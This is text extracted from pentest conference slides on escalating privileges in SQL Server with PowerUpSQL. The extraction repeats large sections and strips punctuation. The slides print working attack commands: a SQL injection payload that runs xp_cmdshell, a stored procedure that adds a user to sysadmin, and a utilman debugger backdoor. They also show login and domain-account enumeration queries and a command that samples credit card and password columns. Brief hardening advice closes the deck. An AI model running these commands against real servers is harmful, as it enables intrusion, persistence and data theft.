Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
